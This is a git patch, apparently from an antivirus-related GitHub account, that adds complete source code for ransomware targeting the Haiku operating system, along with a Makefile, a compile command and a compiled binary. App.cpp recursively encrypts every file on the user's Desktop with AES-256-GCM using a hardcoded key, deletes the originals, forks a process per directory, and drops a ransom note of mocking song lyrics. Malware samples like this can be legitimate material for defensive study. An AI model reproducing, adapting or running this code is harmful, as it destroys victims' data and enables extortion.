From 50b799915b4b461b9528924382d8962db74de079 Mon Sep 17 00:00:00 2001 From: HydraDragonAntivirus <142328963+HydraDragonAntivirus@users.noreply.github.com> Date: Sun, 20 Oct 2024 17:33:49 +0300 Subject: [PATCH] Haiku Ransomware Source Code --- utkubabaproheck/.genio | Bin 0 -> 654 bytes utkubabaproheck/App.cpp | 219 +++++++++++++++++++++++++++++ utkubabaproheck/Makefile | 124 ++++++++++++++++ utkubabaproheck/compiler.txt | 1 + utkubabaproheck/utkuhecklerbabapro | Bin 0 -> 59600 bytes 5 files changed, 344 insertions(+) create mode 100644 utkubabaproheck/.genio create mode 100644 utkubabaproheck/App.cpp create mode 100644 utkubabaproheck/Makefile create mode 100644 utkubabaproheck/compiler.txt create mode 100644 utkubabaproheck/utkuhecklerbabapro diff --git a/utkubabaproheck/.genio b/utkubabaproheck/.genio new file mode 100644 index 0000000000000000000000000000000000000000..261b900487783c561c86551bb03cd0be5a882555 GIT binary patch literal 654 zcmZ{gy-veG5QNtl2#^8_{=}c?sMF92jP);BAE3N zgKe_XNWPix_C~(Bz3vglfxZ^Z6T%JTD}T5pe9J6DE_KPf^GC8n&N7xgq4C50K>T%R z6LKMketq%IA;}#&u6Vg0LQ=`0y_)|HzfP#UbV~e^oa;CZ5~6Q)TCw;5 literal 0 HcmV?d00001 diff --git a/utkubabaproheck/App.cpp b/utkubabaproheck/App.cpp new file mode 100644 index 0000000..d77bb19 --- /dev/null +++ b/utkubabaproheck/App.cpp @@ -0,0 +1,219 @@ +#include // Include this for system() +#include // Include this for fork() +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +const unsigned char key[32] = "utkubabaprohecklediutkubaba"; // 32-byte key for AES-256 +const unsigned char iv[12] = "31693169316"; // Fixed 12-byte IV for AES-GCM +const size_t TAG_LENGTH = 16; // Tag length for GCM +const int FILE_LIMIT = 8192; // Maximum number of files to encrypt in one task + +int total_files_encrypted = 0; // Counter for encrypted files + +// Function to get the user's Desktop directory +void get_desktop_directory(char *dirpath, size_t size) { + BPath path; + if (find_directory(B_USER_DIRECTORY, &path) == B_OK) { + snprintf(dirpath, size, "%s/Desktop", path.Path()); // Get Desktop path + } else { + perror("Could not find user directory"); + } +} + +// Function to write ransom note +void create_ransom_note(const char *dirpath) { + std::string ransom_note_path = std::string(dirpath) + "/UTKUBABAPROHECKLEDI.txt"; + std::ofstream ransom_note(ransom_note_path, std::ios::out); + + if (!ransom_note.is_open()) { + std::cerr << "Error creating ransom note." << std::endl; + return; + } + + ransom_note << "0:15\n♪ UtkuBabaHeykır Hack'ledi Dünya'yı ♪\n" + << "0:19\n♪ Klavyeler gitti, kasalar patladı ♪\n" + << "0:23\n♪ YouTube kanallarına DDOS atıldı ♪\n" + << "0:27\n♪ Babapro heykır herkesi Hack'ledi ♪\n" + << "0:31\n♪ Chat'e yazı yazıp bizi Hack'ledi ♪\n" + << "0:36\n♪ Kendi bilgisayarına virüs indirdi ♪\n" + << "0:40\n♪ Baba heykır, pro heykır, babapro heykır, Utkudoruk ♪\n" + << "1:02\n♪ Utkudoruk, babapro heykır ♪\n" + << "1:06\n♪ Utkudoruk, baba, baba hiçkır ♪\n" + << "1:10\n♪ Utkudoruk, babapro heykır ♪\n" + << "1:14\n♪ Utkudrk, baba baba hiçkır ♪\n" + << "1:18\n♪ Chat'e yazı yazıp bizi Hack'ledi ♪\n" + << "1:23\n♪ Kendi bilgisayarına virüs indirdi ♪\n" + << "1:27\n♪ Baba heykır, pro heykır, babapro heykır, Utkudoruk ♪\n" + << "1:34\n♪ Baba heykır, pro heykır, babapro heykır, Utkudoruk ♪\n" + << "1:42\n♪ Baba heykır, pro heykır, babapro heykır, Utkudoruk ♪\n" + << "\nVideo Reference: https://www.youtube.com/watch?v=y4SYSX-Xgfk\n"; // Add video reference + + ransom_note.close(); + std::cout << "Ransom note created: " << ransom_note_path << std::endl; +} + +// Function to encrypt a file using AES-256-GCM +void encrypt_file(const char *filepath, const char *dirpath, const unsigned char *key, const char *app_name) { + // Check if the file is a ransom note or already encrypted + if (strstr(filepath, ".utkudorukbayraktarheckledi") || strstr(filepath, "UTKUBABAPROHECKLEDI.txt")) { + std::cout << "Skipping ransom note or already encrypted file: " << filepath << std::endl; + return; + } + + std::ifstream infile(filepath, std::ios::binary); + if (!infile.is_open()) { + std::cerr << "Error opening file: " << filepath << std::endl; + return; + } + + // Read the file into a buffer + infile.seekg(0, std::ios::end); + size_t filesize = infile.tellg(); + infile.seekg(0, std::ios::beg); + + std::vector file_buffer(filesize); + infile.read((char*)file_buffer.data(), filesize); + infile.close(); + + // Initialize OpenSSL context for AES-GCM + EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new(); + if (!ctx) { + std::cerr << "Error creating EVP_CIPHER_CTX" << std::endl; + return; + } + + // Initialize encryption + if (EVP_EncryptInit_ex(ctx, EVP_aes_256_gcm(), NULL, NULL, NULL) != 1) { + std::cerr << "Error initializing encryption" << std::endl; + EVP_CIPHER_CTX_free(ctx); + return; + } + + // Set IV length and initialize key and IV + EVP_EncryptInit_ex(ctx, NULL, NULL, key, iv); + + std::vector encrypted_buffer(filesize + TAG_LENGTH); + int len = 0; + + // Encrypt the data + if (EVP_EncryptUpdate(ctx, encrypted_buffer.data(), &len, file_buffer.data(), filesize) != 1) { + std::cerr << "Error during encryption" << std::endl; + EVP_CIPHER_CTX_free(ctx); + return; + } + + int ciphertext_len = len; + + // Finalize the encryption + if (EVP_EncryptFinal_ex(ctx, encrypted_buffer.data() + len, &len) != 1) { + std::cerr << "Error finalizing encryption" << std::endl; + EVP_CIPHER_CTX_free(ctx); + return; + } + + ciphertext_len += len; + + // Get the authentication tag + unsigned char tag[TAG_LENGTH]; + if (EVP_CIPHER_CTX_ctrl(ctx, EVP_CTRL_GCM_GET_TAG, TAG_LENGTH, tag) != 1) { + std::cerr << "Error getting tag" << std::endl; + EVP_CIPHER_CTX_free(ctx); + return; + } + + EVP_CIPHER_CTX_free(ctx); + + // Append the tag to the encrypted buffer + encrypted_buffer.insert(encrypted_buffer.end(), tag, tag + TAG_LENGTH); + + // Write encrypted content back to a new file with a .utkudorukbayraktarheckledi extension + std::string new_filepath = std::string(filepath) + ".utkudorukbayraktarheckledi"; + std::ofstream outfile(new_filepath, std::ios::binary); + outfile.write((char*)encrypted_buffer.data(), ciphertext_len + TAG_LENGTH); + outfile.close(); + + // Create ransom note in the same directory + create_ransom_note(dirpath); + + // Optionally remove the original file + remove(filepath); + std::cout << "Encrypted file: " << new_filepath << std::endl; + + total_files_encrypted++; // Increment the count of encrypted files + + // Check if we've reached the limit + if (total_files_encrypted >= FILE_LIMIT) { + // Fork a new process to continue encryption + pid_t pid = fork(); + if (pid < 0) { + std::cerr << "Error forking process." << std::endl; + } else if (pid == 0) { + // Child process + std::cout << "Reached file limit. Spawning new task..." << std::endl; + execlp(app_name, app_name, NULL); // Use app name dynamically + perror("execlp failed"); + exit(EXIT_FAILURE); + } + } +} + +// Recursively encrypts all files in a directory +void encrypt_directory(const char *dirpath, const unsigned char *key, const char *app_name) { + DIR *dir = opendir(dirpath); + if (!dir) { + perror("Could not open directory"); + return; + } + + struct dirent *entry; + while ((entry = readdir(dir)) != NULL) { + if (strcmp(entry->d_name, ".") == 0 || strcmp(entry->d_name, "..") == 0) + continue; + + char filepath[1024]; + snprintf(filepath, sizeof(filepath), "%s/%s", dirpath, entry->d_name); + + struct stat path_stat; + stat(filepath, &path_stat); + + if (S_ISDIR(path_stat.st_mode)) { + // Fork a new process for each directory + pid_t pid = fork(); + if (pid < 0) { + std::cerr << "Error forking process." << std::endl; + } else if (pid == 0) { + // Child process + encrypt_directory(filepath, key, app_name); + exit(0); // Exit child process after encryption + } + } else if (S_ISREG(path_stat.st_mode)) { + encrypt_file(filepath, dirpath, key, app_name); + } + } + + closedir(dir); +} + +int main(int argc, char *argv[]) { + // Open files + system("ulimit -S -n 8192"); + + char dirpath[1024]; + + // Get the user's Desktop directory + get_desktop_directory(dirpath, sizeof(dirpath)); + + std::cout << "Encrypting Desktop directory: " << dirpath << std::endl; + encrypt_directory(dirpath, key, argv[0]); // Pass the app name to the function + + return 0; +} diff --git a/utkubabaproheck/Makefile b/utkubabaproheck/Makefile new file mode 100644 index 0000000..dd0e772 --- /dev/null +++ b/utkubabaproheck/Makefile @@ -0,0 +1,124 @@ +## Haiku Generic Makefile v2.6 ## + +## Fill in this file to specify the project being created, and the referenced +## Makefile-Engine will do all of the hard work for you. This handles any +## architecture of Haiku. + +# The name of the binary. +NAME = my_cli_app +TARGET_DIR = . + +# The type of binary, must be one of: +# APP: Application +# SHARED: Shared library or add-on +# STATIC: Static library archive +# DRIVER: Kernel driver +TYPE = APP + +# If you plan to use localization, specify the application's MIME signature. +APP_MIME_SIG = + +# The following lines tell Pe and Eddie where the SRCS, RDEFS, and RSRCS are +# so that Pe and Eddie can fill them in for you. +#%{ +# @src->@ + +# Specify the source files to use. Full paths or paths relative to the +# Makefile can be included. All files, regardless of directory, will have +# their object files created in the common object directory. Note that this +# means this Makefile will not work correctly if two source files with the +# same name (source.c or source.cpp) are included from different directories. +# Also note that spaces in folder names do not work well with this Makefile. +SRCS = App.cpp + +# Specify the resource definition files to use. Full or relative paths can be +# used. +RDEFS = + +# Specify the resource files to use. Full or relative paths can be used. +# Both RDEFS and RSRCS can be utilized in the same Makefile. +RSRCS = + +# End Pe/Eddie support. +# @<-src@ +#%} + +# Specify libraries to link against. +# There are two acceptable forms of library specifications: +# - if your library follows the naming pattern of libXXX.so or libXXX.a, +# you can simply specify XXX for the library. (e.g. the entry for +# "libtracker.so" would be "tracker") +# +# - for GCC-independent linking of standard C++ libraries, you can use +# $(STDCPPLIBS) instead of the raw "stdc++[.r4] [supc++]" library names. +# +# - if your library does not follow the standard library naming scheme, +# you need to specify the path to the library and it's name. +# (e.g. for mylib.a, specify "mylib.a" or "path/mylib.a") +LIBS = be $(STDCPPLIBS) + +# Specify additional paths to directories following the standard libXXX.so +# or libXXX.a naming scheme. You can specify full paths or paths relative +# to the Makefile. The paths included are not parsed recursively, so +# include all of the paths where libraries must be found. Directories where +# source files were specified are automatically included. +LIBPATHS = + +# Additional paths to look for system headers. These use the form +# "#include
". Directories that contain the files in SRCS are +# NOT auto-included here. +SYSTEM_INCLUDE_PATHS = + +# Additional paths paths to look for local headers. These use the form +# #include "header". Directories that contain the files in SRCS are +# automatically included. +LOCAL_INCLUDE_PATHS = + +# Specify the level of optimization that you want. Specify either NONE (O0), +# SOME (O1), FULL (O2), or leave blank (for the default optimization level). +OPTIMIZE := + +# Specify the codes for languages you are going to support in this +# application. The default "en" one must be provided too. "make catkeys" +# will recreate only the "locales/en.catkeys" file. Use it as a template +# for creating catkeys for other languages. All localization files must be +# placed in the "locales" subdirectory. +LOCALES = + +# Specify all the preprocessor symbols to be defined. The symbols will not +# have their values set automatically; you must supply the value (if any) to +# use. For example, setting DEFINES to "DEBUG=1" will cause the compiler +# option "-DDEBUG=1" to be used. Setting DEFINES to "DEBUG" would pass +# "-DDEBUG" on the compiler's command line. +DEFINES = + +# Specify the warning level. Either NONE (suppress all warnings), +# ALL (enable all warnings), or leave blank (enable default warnings). +WARNINGS = + +# With image symbols, stack crawls in the debugger are meaningful. +# If set to "TRUE", symbols will be created. +SYMBOLS := + +# Includes debug information, which allows the binary to be debugged easily. +# If set to "TRUE", debug info will be created. +DEBUGGER := + +# Specify any additional compiler flags to be used. +COMPILER_FLAGS = -fPIC + +# Specify any additional linker flags to be used. +LINKER_FLAGS = + +# (Only used when "TYPE" is "DRIVER"). Specify the desired driver install +# location in the /dev hierarchy. Example: +# DRIVER_PATH = video/usb +# will instruct the "driverinstall" rule to place a symlink to your driver's +# binary in ~/add-ons/kernel/drivers/dev/video/usb, so that your driver will +# appear at /dev/video/usb when loaded. The default is "misc". +DRIVER_PATH = + +## Include the Makefile-Engine +DEVEL_DIRECTORY := \ + $(shell findpaths -r "makefile_engine" B_FIND_PATH_DEVELOP_DIRECTORY) +include $(DEVEL_DIRECTORY)/etc/makefile-engine diff --git a/utkubabaproheck/compiler.txt b/utkubabaproheck/compiler.txt new file mode 100644 index 0000000..3d90c3c --- /dev/null +++ b/utkubabaproheck/compiler.txt @@ -0,0 +1 @@ +g++ -o utkuhecklerbabapro App.cpp -lssl -lcrypto -lbe \ No newline at end of file diff --git a/utkubabaproheck/utkuhecklerbabapro b/utkubabaproheck/utkuhecklerbabapro new file mode 100644 index 0000000000000000000000000000000000000000..98d27fca40b2c4a9366fe3c805a27d2b9e5c5950 GIT binary patch literal 59600 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 